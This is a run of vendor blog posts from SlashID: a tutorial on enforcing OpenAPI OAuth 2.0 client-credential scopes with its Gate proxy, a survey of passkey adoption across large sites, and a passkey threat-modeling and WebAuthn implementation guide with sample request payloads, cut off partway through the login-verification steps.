The OpenAPI specification is an interface definition language for describing web services. OpenAPI 3.0 and its predecessor Swagger are two of the most popular technologies when working with APIs. An OpenAPI specification can completely describe your API, and is useful both as a source of truth while developing and for generating code.

In particular, OpenAPI supports security schemes, which are used to describe how a given endpoint should be authorized. OpenAPI supports HTTP, API key, OAuth 2.0, and OIDC security, each with their own set of fields. OAuth 2.0 security schemes include a set of scopes that are required for a given operation (method on an endpoint) to be allowed.

However, this too presents implementation challenges - you need to make sure that your API server correctly enforces the latest security schemes for each endpoint. Generated code can help with this, but again, a small mistake can leave sensitive APIs exposed.

Gate to the Rescue

How do you take advantage of the security of client credentials and the convenience of an OpenAPI specification while making sure that security schemes are always correctly enforced? Enter Gate, SlashID's identity-aware authorization service. Gate is flexible and simple-to-use, and can be deployed as a standalone proxy or as a sidecar to your existing API gateway. Gate is part of a growing movement towards authentication/authorization at the edge, which is being embraced by organizations that are serious about security. For more information on Gate, check our documentation.

By enforcing the security schemes in an OpenAPI document, our new OpenAPI security plugin solves both of the problems described above (and more). Let's see this in action.

Gate in Action

Let's see Gate's OpenAPI plugin in action. We're going to do four main steps:

Write an OpenAPI document describing our API, using the OAuth 2.0 client credentials flow security scheme
Create scoped client credentials and access tokens with SlashID
Deploy Gate in front of a backend, configured to enforce the security from the OpenAPI document
Make requests via Gate to the backend with different access tokens and see security enforcement in action.

In particular, the example backend service will not include any logic for validating access tokens - Gate takes care of it, so you can focus on building the features your organization needs.

OpenAPI Document

Below we have a short OpenAPI document describing a simple customer management API, which we imagine is exposed by one of your services, intended for use by your other services and trusted partners. You want to make sure that least privilege is honoured, and that access to each endpoint is controlled by fine-grained permissions.

As such, you have defined an OAuth 2.0 security scheme using the client credentials flow and four scopes: one each for the usual CRUD operations on customers. For each operation, you have specified that the OAuth 2.0 security scheme should be used, and which scopes apply (so a POST /customers request would require permissions to read and create customers).

Note that the document also has a top-level security field. This would be applied to any operation that did not have its own security defined (although this is not the case for any operations in this document).

This is a good start - you have defined a straightforward API and described its security model. Now you need to enforce it.

openapi: 3.0.1

info:
  title: Test API
  version: '1.0'

servers:
  - url: 'https://example.local'

components:
  securitySchemes:
    OAuth2ClientCreds:
      type: oauth2
      flows:
        clientCredentials:
          tokenUrl: 'https://api.slashid.com/oauth2/tokens'
          scopes:
            customers:read: Read information about customers
            customers:create: Create a customer
            customers:modify: Modify existing customers
            customers:delete: Delete existing customers

paths:
  /customers:
    post:
      security:
        - OAuth2ClientCreds: [customers:read, customers:create]
      requestBody:
        content:
          application/json:
            schema:
              type: object
              required:
                - customer_name
                - customer_tax_id
              properties:
                customer_name:
                  type: string
                customer_tax_id:
                  type: string
        required: true
      responses:
        '201':
          description: Created
          content:
            application/json:
              schema:
                type: object
                properties:
                  customer_id:
                    type: string

  /customers/{customer_id}:
    parameters:
      - name: customer_id
        in: path
        required: true
        schema:
          type: string

    get:
      security:
        - OAuth2ClientCreds: [customers:read]
      responses:
        '200':
          description: OK
          content:
            application/json:
              schema:
                type: object
                properties:
                  customer_id:
                    type: string
                  customer_name:
                    type: string
                  customer_tax_id:
                    type: string

    patch:
      security:
        - OAuth2ClientCreds: [customers:read, customers:modify]
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                customer_name:
                  type: string
                customer_tax_id:
                  type: string
        required: true
      responses:
        '200':
          description: OK

    delete:
      security:
        - OAuth2ClientCreds: [customers:read, customers:delete]
      responses:
        '200':
          description: OK

security:
  - OAuth2ClientCreds:
      [customers:read, customers:create, customers:modify, customers:delete]

Client Credentials

The next step is to create some client credentials, as Gate will need these in its configuration. We will use SlashID as the Authorization Server, but you can use any Oauth 2.0 provider that supports the client credentials flow. You can get started with SlashID in 30 seconds, and then creating a set of client credentials is a straightforward API call:

curl --location 'https://api.slashid.com/oauth2/clients' \
--header 'SlashID-OrgID: <ORGANIZATION ID>' \
--header 'Content-Type: application/json' \
--header 'SlashID-API-Key: <API KEY>' \
--data '{
    "scopes": ["customers:read", "customers:create", "customers:modify", "customers:delete"],
    "client_name": "example",
    "grant_types": ["client_credentials"]
}'

{
  "result": {
    "client_id": "<CLIENT ID>",
    "client_name": "example",
    "client_secret": "<CLIENT SECRET>",
    "grant_types": ["client_credentials"],
    "public": false,
    "response_types": [],
    "scopes": [
      "customers:create",
      "customers:delete",
      "customers:modify",
      "customers:read"
    ]
  }
}

Note the client ID and secret as we will need them for the next steps.

Gate Deployment

We will deploy the Gate Docker image and a simple echo server backend using Docker Compose. The backend service will respond to all incoming requests with a response describing the incoming request. (Note that this means it does not implement the API described above, but is sufficient to demonstrate that the security schemes are being enforced.)

First, let's configure Gate to enforce the security schemes defined in the OpenAPI specification. Note that the enforce-openapi-security plugin is enabled, meaning it is applied to all URLs unless explicitly disabled. This means the plugin will be applied to all the endpoints defined in the OpenAPI document.

gate:
  mode: proxy
  port: 5000
  tls:
    enabled: false
  log:
    format: text
    level: trace
  default:
    target: backend:8080

  plugins:
    - id: customers_openapi
      type: enforce-openapi-security
      enabled: true
      parameters:
        openapi_spec_url: '/gate/openapi_customers.yaml'
        openapi_spec_format: yaml
        oauth2_token_format: opaque
        oauth2_token_introspection_url: 'https://api.slashid.com/oauth2/tokens/introspect'
        oauth2_token_introspection_client_id: '<CLIENT ID>'
        oauth2_token_introspection_client_secret: '<CLIENT SECRET>'

Now we can write the Docker Compose file with the two services: Gate and the echo backend.

version: '3.7'

services:
  backend:
    image: kicbase/echo-server:1.0

  gate-proxy:
    image: slashid/gate-free:latest # or slashid/gate-enterprise:latest for enterprise customers
    volumes:
      - ./gate.yaml:/gate/gate.yaml
      - ./openapi_customers.yaml:/gate/openapi_customers.yaml
    ports:
      - '5000:5000'
    command: --yaml /gate/gate.yaml
    restart: on-failure

Note that the Gate container has two volumes defined:

gate.yaml is the Gate configuration file from above
openapi_customers.yaml is the OpenAPI document from above.

Run docker-compose up to start Gate and the backend service.

Create Access Tokens and Make Requests

We'll begin by creating some access tokens using the client credentials from above. We will give each token a different set of scopes:

customers:read
customers:create
customers:read, customers:create
customers:read, customers:modify
customers:read, customers:delete
customers:read, customers:create, customers:modify, customers:delete

To obtain an access token, make an API call to the SlashID /oauth2/tokens endpoint:

curl --location 'https://api.slashid.com/oauth2/tokens' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Authorization: Basic <Encoded CLIENT ID and CLIENT SECRET>' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=customers:read customers:create'

{
  "access_token": "<ACCESS TOKEN>",
  "expires_in": 3599,
  "scope": "customers:read customers:create",
  "token_type": "bearer"
}

Note that this endpoint is authorized with HTTP Basic authorization using the client ID and client secret, and the scopes are provided as a space-separated list (as per the OAuth 2.0 specification). If you are using a different OAuth 2.0 provider you will need to modify the request accordingly.

We can repeat this with different scope value to obtain the six access tokens.

Now we can make requests to the backend via Gate with different tokens.

First, let's make a GET request using the token with scope customers:read:

curl --location 'http://localhost:5000/customers/cid123' \
--header 'Authorization: Bearer <ACCESS TOKEN WITH customers:read>'

< HTTP/1.1 200 OK

Request served by 96502fea2551

HTTP/1.1 GET /customers/cid123

Host: backend:8080
Accept: */*
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <ACCESS TOKEN>
Cache-Control: no-cache

We got a 200 status code and a response body from the echo server describing the request it received.

However, if we try to POST a customer with the same token:

curl -X POST --location 'http://localhost:5000/customers' \
--header 'Authorization: Bearer <ACCESS TOKEN WITH customers:read>'

< HTTP/1.1 403 Forbidden

This time we receive a 403 status code - the request is forbidden because the token does not have the correct scope to carry out this operation (creating a new customer).

On the other hand, if we create a token with scope customers:read customers:create, and make a POST request:

curl -X POST --location 'http://localhost:5000/customers' \
--header 'Authorization: Bearer <ACCESS TOKEN WITH customers:read customers:create>'

< HTTP/1.1 200 OK

Request served by 96502fea2551

HTTP/1.1 POST /customers

Host: backend:8080
Accept: */*
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <ACCESS TOKEN>
Cache-Control: no-cache

This time we get a 200 response and the echo - we successfully created a new customer, since our token had the correct scope. (We see here the difference between the echo server - which always responds with a 200 - and the OpenAPI document, which specifies a 201 response on a successful POST.)

The table below shows the response status code for each access token for different requests.

Token scope	POST /customers	GET /customers/cid123	PATCH /customers/cid123	DELETE /customers/cid123
`customers:read`	403 Forbidden	200 OK	403 Forbidden	403 Forbidden
`customers:create`	403 Forbidden	403 Forbidden	403 Forbidden	403 Forbidden
`customers:read` `customers:create`	200 OK	200 OK	403 Forbidden	403 Forbidden
`customers:read` `customers:modify`	403 Forbidden	200 OK	200 OK	403 Forbidden
`customers:read` `customers:delete`	403 Forbidden	200 OK	403 Forbidden	200 OK
`customers:read` `customers:create` `customers:modify` `customers:delete`	201 Created	200 OK	200 OK	200 OK

</div>

In addition, we can try some other requests:

for a path not defined in the spec: 404 Not Found
for a method not defined for a given path: 405 Method Not Allowed
for a defined path and method, but without a token, or with an invalid token: 403 Forbidden

(Note that the first two behaviors can be modified with the allow_requests_not_in_spec parameter, which will allow requests that do not have a matching operation in the provided OpenAPI document. This should be used with caution.)

Conclusion

In this blogpost we've described how OAuth 2.0 client credentials and OpenAPI can help secure your services, and how Gate can simplify this down to a few simple steps.

In a future blogpost, we'll show you how to use similar approach to easily create custom rate limiting policies for your APIs by using an OpenAPI document as the source of truth for Gate's configuration.

Want to try out Gate? Check our documentation! Ready to try SlashID? Sign up here!

Is there a feature you’d like to see, or have you tried out Gate and have some feedback? Let us know!

Passkeys Adoption Trends: Survey from Large Deployments

Vincenzo Iozzo, SlashID Team — Wed, 31 Jan 2024 00:00:00 GMT

Introduction

Sign up for free here to start implementing Passkeys in your application.

In our previous articles, we've extensively discussed the security benefits of passkeys—from enhancing protection against account takeovers and phishing to simplifying compliance with regulatory frameworks like PSD2. However, the user experience (UX) aspect has received less attention, raising concerns for businesses considering widespread adoption.

This post synthesizes available data on passkeys deployment, focusing on conversion rates and deployment strategies, along with insights from large-scale implementations.

Who is using passkeys?

Global adoption data for passkeys is still emerging, but an analysis of the top 50 websites by traffic offers a glimpse into their uptake. According to Semrush's December 2023 rankings, 19 of these websites now support passkeys, either as a primary authentication method or as a secondary option for multi-factor authentication (MFA).

Site	Passkeys Primary	Passkeys MFA
Google Search	✓	✓
YouTube	✓	✓
Facebook	✓	✓
Pornhub	✕	✕
XVideos	✕	✕
X (Twitter)	✓	✓
Wikipedia	✕	✕
Instagram	✓	✓
Reddit	✕	✕
Amazon	✓	✓
DuckDuckGo	✕	✕
Yahoo	✓	✓
XNXX	✕	✕
TikTok	✓	✓
Bing	✓	✓
Yahoo JP	✓	✓
The Weather Channel	✕	✕
WhatsApp	✓	✓
Yandex	✕	✕
xHamster	✕	✕
OpenAI	✕	✕
Live	✓	✓
Microsoft	✓	✓
Microsoft Online	✓	✓
LinkedIn	✓	✓
Quora	✕	✕
Twitch	✕	✕
Naver	✕	✕
Netflix	✕	✕
Office	✓	✓
VK	✕	✕
Globo	✕	✕
Aliexpress	✕	✕
CNN	✕	✕
Zoom	✕	✕
IMDb	✕	✕
x.com (Twitter)	✓	✓
New York Times	✕	✕
OnlyFans	✕	✕
ESPN	✕	✕
Amazon.co.jp	✓	✓
Pinterest	✕	✕
Universo Online	✕	✕
eBay	✓	✓
Marca	✕	✕
Canva	✕	✕
Spotify	✕	✕
BBC	✕	✕
PayPal	✕	✕
Apple Inc.	✓	✓

Case studies

Yahoo Japan

Yahoo Japan, a major player with 55 million monthly active users, has seen about 11% of its user base adopt passkeys.

For the cohort of users using passkeys, Yahoo Japan observed the following:

A statistically higher registration rate compared to every other authentication method. In particular the increase was 2.29% on iOS, 8.02% on Mac, 15.35% on Windows and 0.66% on Android
2.6x faster authentication time
25% decrease in customer support/authentication support requests

Mercari

Mercari, Inc. is a Japanese e-commerce company founded in 2013 with approximately 20m monthly active users. As of August 2023 approximately 900,000 users have registered passkeys credentials.

For the cohort of users using passkeys, Mercari observed the following:

82.5% success rate vs 67.7% for SMS OTP
4.4s vs 17s average time to login with passkeys compared to SMS OTP

Kayak

Implementing passkeys helped KAYAK, a leading travel search engine, cut the average login and registration time by 50%. Though specific customer support metrics are not disclosed, Kayak also saw a decrease in customer support/authentication support requests.

Dashlane

Dashlane is a password management tool that provides a secure way to manage user credentials, access control, and authentication across multiple systems and applications. Dashlane has over 18 million users and 20,000 businesses in 180 countries.

Dashlane, with its 18 million users, observed a remarkable 92% conversion rate for Passkey authentication—a 70% improvement over passwords.

UX considerations when implementing passkeys

Adopting passkeys offers significant security and usability benefits but requires thoughtful implementation:

Supported devices: The UX of authentication and registration of a passkey is OS and browser dependent, and on some devices can be confusing, it is important to allowlist devices and browsers that have a good onboarding experience
Fallback flow when a passkey is not available: Although some devices allow for syncable passkeys, this is definitely not the standard, so having a fallback authentication method for when a passkey is not available is key. However this poses both a security threat and potential friction for the user, so careful consideration needs to go into the flow
Flow to add a new passkey: Similar to (2), a flow to add a new passkey is key. Passkeys are still fickle today, a change in browser profile results in a lost passkey; a complete wipe of cookies on Chrome also results in a loss of the passkeys. A flow to add multiple passkeys is a must

Conclusion

Passkeys represent a pivotal shift in digital authentication, offering a secure and user-friendly alternative to traditional passwords. For organizations considering passkeys, understanding both the technological landscape and user experience considerations is critical. If you're ready to explore passkeys for your business, SlashID is here to assist. Don't hesitate to reach out to us or sign up for free here!

Passkeys - Threat modeling and implementation considerations

SlashID Team, Vincenzo Iozzo — Wed, 24 May 2023 00:00:00 GMT

Read up on how to add Passkeys to any application without code modifications.

Since Google announced support for passkeys for all Gmail accounts – a clear first step in phasing out passwords – passkeys have been a hot topic. But what are passkeys exactly, how do they work and how are they going to change the security landscape? In this blog post, we review the current state of the technology from a security standpoint and we’ll discuss some critical aspects of passkey implementation.

You can also jump straight to an example implementation: GitHub and live.

Table of content

This is a rather long blogpost, we split it in separate sections to make it easier to consume it:

Passkeys 101

Security and threat model

Implementation considerations

Passkeys 101

Feel free to skip this section if you are already familiar with passkeys!

In this section:

What are passkeys?

Why now?

How are credentials shared and stored?

What are passkeys?

The big promise of passkeys is to get rid of passwords, of most phishing attacks and, in some cases, of multi factor authentication (MFA).

A passkey is a commercial term for discoverable FIDO/WebAuthn credentials that can be used for passwordless authentication. From a technical point of view, a passkey is a public and private key pair that can be used to authenticate a user to a relying party (i.e., a website or an app) without using passwords. Websites can create or verify credentials through a web API called WebAuthn, implemented in all major browsers. The keys are stored in an authenticator (this is an approximation, we’ll discuss more below), which could be anything from a physical security key to a smartphone’s secure enclave or even a virtual, software-based system that implements the Client to Authenticator Protocol 2 (CTAP2). CTAP2 is how an authenticator talks to a web browser to complete a WebAuthn credential creation or verification process.

In other words, the browser talks to the authenticator through the CTAP2 protocol to perform the key creation and verification ceremonies initiated by a website through the WebAuthn APIs.

Why now?

The idea of using public-key cryptography for user authentication and the WebAuthn standard have been around for a number of years. However, until recently, there was no established infrastructure to share key pairs across devices, making account recovery and cross-device authentication hard. Due to these reasons, until now, the adoption of WebAuthn has been fairly modest, with it primarily implemented as a second authentication factor, not the primary one.

Furthermore, the UX in most browsers was very counterintuitive until recently.

Apple and Google's introduction of passkeys, coupled with their push to build ways to share credentials across devices, has significantly boosted interest in WebAuthn over the past 12 months. For example, Apple reported that Kayak, Robinhood and Instacart are all experimenting with it, and the recent passkey support for Gmail is the first large-scale rollout of the technology and will undoubtedly lead to significant improvements of the user experience.

How are credentials shared and stored?

As mentioned above, passkeys are key pairs, and the private key is not supposed to be accessible to the relying party or the outside world. According to the WebAuthn standards, there are two types of credentials:

Discoverable credentials: stored on the client device, meaning that the private key itself is stored in the persistent storage embedded in the authenticator
Server-side credentials: The private key is encrypted with a second private key stored in the authenticator. The resulting blob is used as the credential ID for the key pair. There are multiple ways to achieve this; the most common one is called key wrapping. Note that while the relying party does have access to the private key, the relying party won’t be able to access it without the access to the authenticator, providing security guarantees similar to discoverable credentials

Passkeys add a twist to this concept as they are discoverable credentials that can be exported from the authenticator.

It is critical to notice that while passkeys will reduce adoption friction for WebAuthn, the security guarantees of passkeys are lower than regular, non-exportable, WebAuthn credentials and they are not standardized. In fact, the WebAuthn standard says:

“This specification defines no protocol for backing up credential private keys, or for sharing them between authenticators. In general, it is expected that a credential private key never leaves the authenticator that created it. Losing an authenticator therefore, in general, means losing all credentials bound to the lost authenticator, which could lock the user out of an account if the user has only one credential registered with the Relying Party. Instead of backing up or sharing private keys, the Web Authentication API allows registering multiple credentials for the same user.”

Since there are no technical standards for passkeys, different providers synchronize credentials in various ways, and these details are often not disclosed publicly. In a previous blog post, we analyzed how Apple synchronizes passkeys.

As for Google, they use the Google Password/Passkey Manager, the security of which is beyond the scope of this blogpost, but you can read more here.

It is worth noting that inter-operability is a hot-topic and vendors are increasingly working on ways to share passkeys across different providers and devices, for example Apple allows exporting passkeys via AirDrop.

A practical consequence of this arrangement is that the security of passkeys and account recovery heavily depends on the security of the account linked to the syncing service (often your Apple or Google account). While at first this may seem a scary proposition for many, most account recovery flows today offer no better security by simply resorting to a reset link sent to an email address.

Security and Threat-modeling

In this section:

Phishing

Stolen Credentials

The end of multi-factor authentication (MFA)?

Phishing

One of the key selling points of passkeys and WebAuthn is that they are safer than passwords, providing a strong protection against phishing. In fact, all WebAuthn compliant browsers enforce a number of security checks.

First of all, WebAuthn doesn’t work without TLS. Furthermore, browsers enforce origin checks for credentials and most will prevent access to the platform authenticator unless the window is in focus or, in the case of Safari, the user triggers an action.

Thanks to origin checks, credentials are bound to an origin and cannot be used on a different domain. For this reason, most of the recent attacks involving domain squatting and phishing would fall flat because the malicious site wouldn’t be able to initiate the WebAuthn authentication process.

In other words, an attacker trying to compromise user credentials will need to either find a cross-site scripting (XSS) bug in the target website or a vulnerability in the browser, both of which are very high barriers to overcome. These are the only way in which they can bypass the WebAuthn checks, and even then a successful attacker wouldn’t have access to the private key itself, but only to a session token/cookie, which will expire once the browsing session is over.

In this blog post, we show the technical details of how Chrome enforces such checks.

In comparison to all other authentication methods — where an attacker only has to register a seemingly related domain and have a similar looking webpage to fool the victim through phishing — it is clear that WebAuthn is a much safer authentication method.

Stolen Credentials

Server-side

Another benefit of passkeys is that even if the credential database of a relying party is compromised and credentials are leaked, an attacker won’t be able to exploit them because no clear-text private key is ever shared with the relying party. This also reduces the risk of dictionary attacks against reused credentials.

Client-side

However, the private keys are now stored on the user device and their security and threat model is not always straightforward to assess. Note that even for server-side credentials, the key used to derive the private keys is stored on the authenticator, and so the threat model is roughly the same.

As mentioned in the introduction, an authentication ceremony involves a website using the WebAuthn APIs to talk to the client/browser, which will interact with an authenticator via the CTAP2 protocol.

However, no storage security guarantees are enforced on the authenticator. In particular, the location where keys are stored is highly dependent on the user device, operating system and whether hardware security keys are used.

We ranked the different solutions currently available from strongest to weakest security guarantees:

Hardware security keys (Yubikeys or similar): these are dedicated devices with hardware security modules that only hold keys
Modern iOS/Android devices: most modern high end mobile devices have a Secure Element chip that offers similar security guarantees to a hardware security key, in that even if the device is compromised the keys won’t be leaked
Modern desktop devices: most modern laptops have a security module. However, certain hardware vendors limit which browsers can make use of the secure element
Legacy mobile devices and desktops: private keys are normally stored in the user filesystems and while they might be encrypted, compromising the user device will most definitely also compromise the credentials.

As a result, applications that require high security guarantees should assess the risk of storing credentials on unsafe, legacy devices. That said, those devices are also vulnerable to keyloggers which would compromise any password, so even an authenticator with lower security guarantees is in most cases better than passwords.

Adding credentials

Since stealing credentials is not a feasible attack pattern with passkeys, attackers might be more interested in finding logic vulnerabilities that allow them to add their own credentials to a user account. By adding credentials to an account, the attacker achieves the same effect (i.e., they are able to login and impersonate the user) as stealing credentials.

The WebAuthn standard doesn’t specify how a relying party should account for multiple credentials, hence it is left as a task for the developer. It does nevertheless encourage the registration of multiple credentials.

Different websites could opt for different approaches here, one is to only allow one credential per account (similar to a password) and outsource the credential recovery process to Google/Apple/Passkey synchronization provider. Another one is to have a step-up authentication mechanism that allows a user to add another credential to their account after a further identity verification on their identity.

The end of multi-factor authentication (MFA)?

The principle behind MFA is to increase the confidence in the user identity by using more than a single authentication factor. Generally, authentication factors can be one of three types: something you know, something you are or something you have.

Some authenticators such as modern mobile phones and security keys can enforce two or more factors at the same time when accessing passkeys. For instance, on iOS you are required to use FaceID (something you are) or enter your pin (something you know) in order to login with a passkey (something you have).

In certain jurisdictions, passkeys on modern authenticators could alone satisfy the EU Strong Customer Authentication standards (more on this here).

In general, non-roaming WebAuthn credentials stored on dedicated hardware security keys with biometrics/pin support should be safe as a replacement for MFA.

Whether passkeys could be a replacement for MFA is dependent on the trust the application has in the recovery process of the vendor synchronizing the credentials (in most cases, Google or Apple), because ultimately passkeys will be synchronized across multiple devices and could be recovered through the account recovery process of the vendors.

We think that, for the time being, MFA will likely still remain a key defense against attackers for high-security applications. However, for lower security applications, MFA could be entirely replaced by passkeys on modern devices within a few years.

Implementation considerations

Now that we’ve reviewed the UX and security implications of passkeys, let’s discuss key implementation details that a relying party should bear in mind when adopting passkeys.

In this section:

Secure key generation

Secure login

Random nonces

Security flags

Discoverable credentials vs server-side credentials

Adding new credentials to an account

WebAuthn is a fairly complicated technology; we recommend not rolling out your own implementation.

Secure key generation

The process of creating a credential starts when the relying party sends a request with a number of parameters (full list here). At a minimum, the server must send a random challenge/nonce, like shows in this example:


user_cred = {
   'user_name': 'example@example.com',
   'display_name': 'Mr Example’,
   'user_id': os.urandom(12),
}
challenge = os.urandom(32)
…
return jsonify({
    'credential': None,
    'displayName': user_cred['display_name'],
    'userName': user_cred['user_name'],
    'userId': base64.b64encode(user_cred['user_id']).decode('ascii'),
    'challenge': base64.b64encode(challenge).decode('ascii'),
    'relyingPartyName': 'localhost'}

The web application will then call navigator.credentials.create to generate a key pair. The parameters of the call will look something like this:

   credOptions = {
     publicKey: {
       // Relying party
       rp: {
         name: relyingPartyName // 'localhost'
       },


       // User parameters
       user: {
         id: userIdBuffer, // os.urandom(12)
         name: userName, //example@example.com
         displayName: params.displayName, //Mr Example
       },


       // This specifies the list of acceptable key types for the authenticator to generate.
       // For most implementations, it’s either ECC (-7) or RSA (-256).
       pubKeyCredParams: [{
         type: 'public-key',
         alg: -7, // ECC
       }],


       // Here we can decide whether to use the current device as the authenticator or whether
       // we should allow the user to select the authenticator (eg: an external hardware security key)
       // ‘platform’ forces the choice of the local device
       authenticatorSelection: {
         authenticatorAttachment: 'platform',
       },


       // This is to avoid replay attacks and needs to be random. It’s the nonce sent by the server
       challenge: challengeBuffer,


       // Ask the authenticator to generate an attestation statement to prove the device type used
       // to generate this key. This doesn’t always work, apple devices will refuse to generate an
       // attestation statement for instance.
       attestation: 'direct',
     }

Once the key pair has been generated, the public key is returned to the relying party together with a number of other fields. The relying party verifies the data and, if successful, stores the public key associated with that user. This is an example payload:

{
  "attestation": "o2NmbXRmcGFja2VkZ2F0dFN0bXSiY2FsZyZjc2lnWEgwRgIhAM19ZXaMJ703tCUuinx9Pqkh+hhKAh0N+nZYufV0SSX1AiEAxxOaRaVchuQDFn8FWnfrR9lbLPR7fHzTlJktbvra5x9oYXV0aERhdGFYpEmWDeWIDoxodDQXD2R2YFuP5K65ooYyx5lc87qDHZdjRQAAAACtzgACNbzGCmSLCyXx8FUDACCaZeUU5GyTWfAlwU+D8vq/UsVgjwH1RAt8G6ngG/pyF6UBAgMmIAEhWCBOVpnWqcLp0U6DyQe1roMkSBrTRcir+LcIP1Pa925OhSJYIE+275/X4cNt16Q4hOYj5HN/Qb0vKaEH4p7jtsHfxvJd",
  "clientData": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiczBqMFVjTU4tVV8zcGdZLTFzeXNqVXhySEVxREJGWmQ2a3RVNnZoeVh0dyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMCIsImNyb3NzT3JpZ2luIjpmYWxzZX0=",
  "id": "mmXlFORsk1nwJcFPg_L6v1LFYI8B9UQLfBup4Bv6chc", //this value needs to be persisted in the server and associated with the user
  "type": "public-key"
}

The clientData object is a Base64-encode JSON:

{
  "type": "webauthn.create",
  "challenge": "s0j0UcMN-U_3pgY-1sysjUxrHEqDBFZd6ktU6vhyXtw",
  "origin": "http://localhost:5000",
  "crossOrigin": false
}

The attestation object is a Base64-encode CBOR map. The shape of the attestation object is:

{
 "attStmt": {   'alg': -7,
                'sig': b"0E\x02R\xa4\xfa\xf0\xb9@\xed\xc3\xeb\xf8\x0f"
                          b"\xd2?*p\xdd\x9b\x11W\xeb\xdd\xf0\x08\xcb4\x16"
                          b"\xa0\x88\xce\x02!\x00\xb4S\x07\xc8pJ\xb9=="
                          b"\x08\xe1Qf\x08\x959O\x8a/H7\x13\xec\x00"
                          b"[\x9e\xcf\x89\xca\xca\xfb"
            },
"authData": b"I\x96\r\xe5\x88\x0e\x8cht4\x17\x0fdv`[\x8f\xe4\xae\xb9"
                b"\xa2\x862\xc7\x99\\\xf3\xba\x83\x1d\x97cE\x00\x00\x00"
                b"\x00\xad\xce\x00\x025\xbc\xc6\nd\x8b\x0b%\xf1\xf0U"
                b"\x03\x00 \xe2\x98\xb2\xd8\xa5QK\x84\x02\x87\x83/Z"
                b"\xaf\xa3\xf0E\xe1J\n\x99\xe7\xd9\x1cR\x9eE!\xeb\\{i\xa5"
                b"\x01\x02\x03& \x01!X \xbel>^%\x90\x81U\xb7\xe1&\xa9\xda\x19r"
                b"\x9c<4M\x9c\x1dkZ\xe8\x8d\xfb\xdd /\x02\x17\xe7X j&w\xc7"
                b"\xf4\x18C\x8ec\x1e<\x95\xa7\x02\x1e\x18\xf9D\xb0["
                b"\xde\x11\x912\xf4\xb8\xabX\xe0\xc4\x0eU",
    "fmt": 'packed'
}

The decoded authData (which is a variable-length byte array, full spec here) in the attestation field gives us information about the credential just created and certain security flags we’ll discuss later:


{
    "attestedCredData":
         {   "aaguid": b"\xad\xce\x00\x025\xbc\xc6\nd\x8b\x0b%"
                       b"\xf1\xf0U",
              "credentialId": b"\x19\x81\xe5\x989Dq]"
                             b"\x0b\xf5\xc6\xbc]Do\xbb\xd9-~\xac"
                             b"\x81\x8dgS\xea\x08S\x10?\x124\x95",
              "credentialIdLength": 32,
              "credentialPublicKey": {   "alg": "ecc",
                                       "eccurve": "P256",
                                       "key": <cryptography.hazmat.backends.openssl.ec._EllipticCurvePublicKey object at 0x103f65b10>,
                                       "kty": "ECP",
                                       "x": b":\xe2\x0f}"
                                            b"[\x8a\xd2$"
                                            b"\xa2\xcc{."
                                            b"l\xa4\xf7\xbf"
                                            b"\xe8:\\\x18"
                                            b"\x06\xcbC\x11"
                                            b"K\xbeG\xe5"
                                            b"\x0fL\nY",
                                       "y": b"c\xa1\x96@"
                                            b">e\xa1\xac"
                                            b"\xcfB\xa4\x99"
                                            b"\\\x01\x02\xc0"
                                            b"\xe8\xce\x9e^"
                                            b"#p\x07\xc3"
                                            b"\x86\x07\x04s"
                                            b"\x18P\x00\xa8"}},
    "flags": {
              "attestedCredDataIncluded": True,
              "extensionDataIncluded": False,
              "userPresent": True,
              "userVerified": True
         },
   "flagsRaw": 69,
   "rpIdHash": b"I\x96\r\xe5\x88\x0e\x8cht4\x17\x0fdv`[\x8f\xe4\xae\xb9"
               b"\xa2\x862\xc7\x99\\\xf3\xba\x83\x1d\x97",
   "signCount": 0
}

The relying party must carefully verify the following:

The challenge in clientData corresponds to the one the relying party sent at the beginning of the key creation ceremony.
The blob contains the sha256 of the relying party id (rpId), in this example “localhost”. The relying party should verify that the hash matches the expected rpId.
Verify that attStmt within the attestation object is correct. In particular, each type of attestation statement has a different format and way to verify its validity. The attestation statement is key to assess the properties of the authenticator and its trustworthiness. Here’s more information on how to verify the statement based on their type.

Starting from iOS 16, Safari won’t generate attestation statements (attStmt set to none) for platform keys so a relying party won’t be able to verify the provenance of webauthn keys generated on the device.

Secure login

The high-level process to verify a login attempt is for the relying party to generate a random challenge and for the client to sign that challenge with a key such that the server can verify the signature on the challenge by possessing the public key associated with the keypair - this is called an assertion.

In other words, the relying party verifies an assertion made by the client by verifying the signature on the random nonce against a public key that was registered for that account.

In practice there are several steps that a relying party needs to perform in order to verify the assertion correctly.

As with key creation, the relying party sends the client options for the navigator.credentials.get call. At a minimum these must contain a random nonce/challenge, the rpID and the list of allowed credentials:

    return jsonify({
        'challenge': base64.b64encode(last_challenge).decode('ascii'),
        'rpId': 'localhost',
        'userVerification': 'required',
        'extensions': None,
        'allowCredentials': [{
            type: "public-key",
            id: "AK-r2A2ophbN_fw_xsHxP3z-l-5SVcbZi5Ez9oLgWrY"
        }],
        'timeout': 60000})

The client passes the option to navigator.credentials.get and the user is asked to authenticate. If successful, the return value is a PublicKeyCredential object.

The object is sent to the server and looks as follows:

{
  "id": "AK-r2A2ophbN_fw_xsHxP3z-l-5SVcbZi5Ez9oLgWrY",
  "raw_id": "AK-r2A2ophbN_fw_xsHxP3z-l-5SVcbZi5Ez9oLgWrY",
  "response": {
    "client_data_json": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiWGE2RGdfRTB5TFVZelBja05URDBER2pEcHZtX2JKRDhmazZnbHZJUDc3YyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMCIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
    "authenticator_data": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MFAAAAAA",
    "signature": "MEUCID2sx44Y2iuVdeBZV8BXxeuRGPzsOrbmS0mTCQ6j25SzAiEAwYem5DpkU_oHjVJopmWCSYDUhJpxGtwb7fjZPgZmaKA",
    "user_handle": "1EUqUv7528w"
  },
  "authenticator_attachment": "platform",
  "type": "public-key"
}

The four key steps for the verification procedure are:

The challenge in clientData corresponds to the one the relying party sent
